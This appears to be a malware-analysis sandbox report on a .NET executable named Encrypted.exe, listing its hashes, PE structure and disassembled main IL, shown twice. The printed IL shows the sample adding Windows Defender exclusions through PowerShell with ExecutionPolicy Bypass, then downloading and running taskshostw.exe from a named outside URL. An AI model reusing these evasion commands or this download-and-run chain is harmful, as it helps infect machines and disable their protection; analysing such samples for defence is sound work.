Suspicious
Suspect

PE Executable
MD5: d6d7b3cb39fbddccd99f34f68eb781ab
Size: 69.12 KB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Very high
MD5 d6d7b3cb39fbddccd99f34f68eb781ab
Sha1 3aaaf96140be84ce5f53f55fe4cf6d3017d6afe1
Sha256 b39f3c488593f0c557a7888adc4f20853e3cd2f92f7b7e59c19fb7f69a3b50bb
Sha384 b08885bc8769e59d078a91826492a3f1414d14f6783e757d1e7c3c23fd74e770dced69b1c7ad65543d6d14dd5effd5ac
Sha512 0d73b9bb07f9df15fb12410350de75ac1369089f45058c4f1cde805b22dd7a4e0445ac8408c1ff1c4fff287264b492caf2f7802f81f0919d40c7684a8db0829d
SSDeep 1536:XTAa9vaJ+jFFpNhgjrNHjChupU2fiu+JwqDI3JQ4PzrbH82HPsg:XTJlHjFFThSHjYupUqiLJwYIZDzrb5PP
TLSH 0663C0912B9449A2F5FD0B738FB285475330A7D4982AEE4E24D872DD1C7F55CCAB0BA0
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
d6d7b3cb39fbddccd99f34f68eb781ab
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
mgzcxloczq.Resources
xclient - copie
Name Value
Info
PE Detect: PeReader OK (file layout)
Module Name
Encrypted.exe
Full Name
Encrypted.exe
EntryPoint
System.Void 048a0bf_4f03::1+3[f0x[r]0)()
Scope Name
Encrypted.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Encrypted
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
111
Main Method
System.Void 048a0bf_4f03::1+3[f0x[r]0)()
Main IL Instruction Count
141
Main IL 
call System.Boolean 048a0bf_4f03::x, 0[0660[0x()
brtrue.s IL_000D: call System.Void (064x01(fd_3::xd)6040_fdx6()
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void (064x01(fd_3::xd)6040_fdx6()
call System.Boolean 048a0bf_4f03::x1d0x06x1__1()
brtrue.s IL_002F: ldsfld System.String x_73[f_)0__+::d0 8818__4dx
ldsfld System.String x_73[f_)0__+::0[(0(0,f([ a
call System.Boolean 048a0bf_4f03::0x[(8_6)_f41(System.String)
pop <null>
call System.Void 048a0bf_4f03::11[0104+8044()
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ldsfld System.String x_73[f_)0__+::d0 8818__4dx
call System.Int32 System.Convert::ToInt32(System.String)
ldc.i4 1000
mul.ovf <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
call System.Boolean 048a0bf_4f03::x1d0x06x1__1()
brfalse IL_0126: call System.Object 048a0bf_4f03::038x3df16a0x()
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
stloc.s V_6
ldloc.s V_6
ldstr powershell.exe
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
ldloc.s V_6
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
ldloc.s V_6
ldstr -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
callvirt System.Diagnostics.ProcessModule System.Diagnostics.Process::get_MainModule()
callvirt System.String System.Diagnostics.ProcessModule::get_ModuleName()
ldstr '
call System.String System.String::Concat(System.String,System.String,System.String)
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
ldloc.s V_6
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
callvirt System.Void System.Diagnostics.Process::WaitForExit()
ldloc.s V_6
ldstr -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath '
ldsfld System.String x_73[f_)0__+::0[(0(0,f([ a
ldstr '
call System.String System.String::Concat(System.String,System.String,System.String)
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
ldloc.s V_6
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
callvirt System.Void System.Diagnostics.Process::WaitForExit()
ldloc.s V_6
ldc.i4.5 <null>
newarr System.String
stloc.s V_10
ldloc.s V_10
ldc.i4.0 <null>
ldstr -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath '
stelem.ref <null>
ldloc.s V_10
ldc.i4.1 <null>
ldsfld System.String x_73[f_)0__+::,+8d0[b0 x6x
stelem.ref <null>
ldloc.s V_10
ldc.i4.2 <null>
ldstr \
stelem.ref <null>
ldloc.s V_10
ldc.i4.3 <null>
ldsfld System.String x_73[f_)0__+::0[(0(0,f([ a
call System.String System.IO.Path::GetFileName(System.String)
stelem.ref <null>
ldloc.s V_10
ldc.i4.4 <null>
ldstr '
stelem.ref <null>
ldloc.s V_10
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
ldloc.s V_6
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
callvirt System.Void System.Diagnostics.Process::WaitForExit()
leave.s IL_0126: call System.Object 048a0bf_4f03::038x3df16a0x()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_7
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0126: call System.Object 048a0bf_4f03::038x3df16a0x()
call System.Object 048a0bf_4f03::038x3df16a0x()
pop <null>
ldnull <null>
ldftn System.Void 048a0bf_4f03::0x4(] 3x)d01(System.Object)
newobj System.Void System.Threading.ParameterizedThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ParameterizedThreadStart)
stloc.3 <null>
ldloc.3 <null>
ldstr xclient - copie
call System.Byte[] 048a0bf_4f03::]x8000]80]d (System.String)
callvirt System.Void System.Threading.Thread::Start(System.Object)
newobj System.Void System.Text.StringBuilder::.ctor()
stloc.s V_5
ldloc.s V_5
ldstr https://insellerate.net/doc/taskshostw.exe
callvirt System.Text.StringBuilder System.Text.StringBuilder::Append(System.String)
pop <null>
ldloc.s V_5
callvirt System.String System.Text.StringBuilder::ToString()
stloc.0 <null>
ldloc.0 <null>
stloc.s V_4
ldstr temp
call System.String Microsoft.VisualBasic.Interaction::Environ(System.String)
ldstr taskshostw.exe
call System.String System.String::Concat(System.String,System.String)
stloc.1 <null>
newobj System.Void System.Net.WebClient::.ctor()
stloc.s V_8
ldloc.1 <null>
ldloc.s V_8
ldloc.s V_4
callvirt System.Byte[] System.Net.WebClient::DownloadData(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldloc.1 <null>
ldc.i4.2 <null>
ldc.i4.0 <null>
ldc.i4.m1 <null>
call System.Int32 Microsoft.VisualBasic.Interaction::Shell(System.String,Microsoft.VisualBasic.AppWinStyle,System.Boolean,System.Int32)
pop <null>
leave.s IL_01B3: ldnull
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_9
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_01B3: ldnull
ldnull <null>
ldftn System.Void 048a0bf_4f03::[3_x8x))0x4]()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldloc.2 <null>
callvirt System.Void System.Threading.Thread::Start()
call System.Void 048a0bf_4f03::  ]660_d 0(4()
call System.Void System.Windows.Forms.Application::Run()
ret <null>
Module Name
Encrypted.exe
Full Name
Encrypted.exe
EntryPoint
System.Void 048a0bf_4f03::1+3[f0x[r]0)()
Scope Name
Encrypted.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Encrypted
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
111
Main Method
System.Void 048a0bf_4f03::1+3[f0x[r]0)()
Main IL Instruction Count
141
Main IL 
call System.Boolean 048a0bf_4f03::x, 0[0660[0x()
brtrue.s IL_000D: call System.Void (064x01(fd_3::xd)6040_fdx6()
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void (064x01(fd_3::xd)6040_fdx6()
call System.Boolean 048a0bf_4f03::x1d0x06x1__1()
brtrue.s IL_002F: ldsfld System.String x_73[f_)0__+::d0 8818__4dx
ldsfld System.String x_73[f_)0__+::0[(0(0,f([ a
call System.Boolean 048a0bf_4f03::0x[(8_6)_f41(System.String)
pop <null>
call System.Void 048a0bf_4f03::11[0104+8044()
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ldsfld System.String x_73[f_)0__+::d0 8818__4dx
call System.Int32 System.Convert::ToInt32(System.String)
ldc.i4 1000
mul.ovf <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
call System.Boolean 048a0bf_4f03::x1d0x06x1__1()
brfalse IL_0126: call System.Object 048a0bf_4f03::038x3df16a0x()
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
stloc.s V_6
ldloc.s V_6
ldstr powershell.exe
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
ldloc.s V_6
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
ldloc.s V_6
ldstr -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
callvirt System.Diagnostics.ProcessModule System.Diagnostics.Process::get_MainModule()
callvirt System.String System.Diagnostics.ProcessModule::get_ModuleName()
ldstr '
call System.String System.String::Concat(System.String,System.String,System.String)
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
ldloc.s V_6
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
callvirt System.Void System.Diagnostics.Process::WaitForExit()
ldloc.s V_6
ldstr -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath '
ldsfld System.String x_73[f_)0__+::0[(0(0,f([ a
ldstr '
call System.String System.String::Concat(System.String,System.String,System.String)
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
ldloc.s V_6
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
callvirt System.Void System.Diagnostics.Process::WaitForExit()
ldloc.s V_6
ldc.i4.5 <null>
newarr System.String
stloc.s V_10
ldloc.s V_10
ldc.i4.0 <null>
ldstr -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath '
stelem.ref <null>
ldloc.s V_10
ldc.i4.1 <null>
ldsfld System.String x_73[f_)0__+::,+8d0[b0 x6x
stelem.ref <null>
ldloc.s V_10
ldc.i4.2 <null>
ldstr \
stelem.ref <null>
ldloc.s V_10
ldc.i4.3 <null>
ldsfld System.String x_73[f_)0__+::0[(0(0,f([ a
call System.String System.IO.Path::GetFileName(System.String)
stelem.ref <null>
ldloc.s V_10
ldc.i4.4 <null>
ldstr '
stelem.ref <null>
ldloc.s V_10
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
ldloc.s V_6
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
callvirt System.Void System.Diagnostics.Process::WaitForExit()
leave.s IL_0126: call System.Object 048a0bf_4f03::038x3df16a0x()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_7
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0126: call System.Object 048a0bf_4f03::038x3df16a0x()
call System.Object 048a0bf_4f03::038x3df16a0x()
pop <null>
ldnull <null>
ldftn System.Void 048a0bf_4f03::0x4(] 3x)d01(System.Object)
newobj System.Void System.Threading.ParameterizedThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ParameterizedThreadStart)
stloc.3 <null>
ldloc.3 <null>
ldstr xclient - copie
call System.Byte[] 048a0bf_4f03::]x8000]80]d (System.String)
callvirt System.Void System.Threading.Thread::Start(System.Object)
newobj System.Void System.Text.StringBuilder::.ctor()
stloc.s V_5
ldloc.s V_5
ldstr https://insellerate.net/doc/taskshostw.exe
callvirt System.Text.StringBuilder System.Text.StringBuilder::Append(System.String)
pop <null>
ldloc.s V_5
callvirt System.String System.Text.StringBuilder::ToString()
stloc.0 <null>
ldloc.0 <null>
stloc.s V_4
ldstr temp
call System.String Microsoft.VisualBasic.Interaction::Environ(System.String)
ldstr taskshostw.exe
call System.String System.String::Concat(System.String,System.String)
stloc.1 <null>
newobj System.Void System.Net.WebClient::.ctor()
stloc.s V_8
ldloc.1 <null>
ldloc.s V_8
ldloc.s V_4
callvirt System.Byte[] System.Net.WebClient::DownloadData(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldloc.1 <null>
ldc.i4.2 <null>
ldc.i4.0 <null>
ldc.i4.m1 <null>
call System.Int32 Microsoft.VisualBasic.Interaction::Shell(System.String,Microsoft.VisualBasic.AppWinStyle,System.Boolean,System.Int32)
pop <null>
leave.s IL_01B3: ldnull
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_9
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_01B3: ldnull
ldnull <null>
ldftn System.Void 048a0bf_4f03::[3_x8x))0x4]()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldloc.2 <null>
callvirt System.Void System.Threading.Thread::Start()
call System.Void 048a0bf_4f03::  ]660_d 0(4()
call System.Void System.Windows.Forms.Application::Run()
ret <null>
d6d7b3cb39fbddccd99f34f68eb781ab
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
mgzcxloczq.Resources
xclient - copie
No malware configuration was found at this point.
You must be signed in to view YARA rules.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙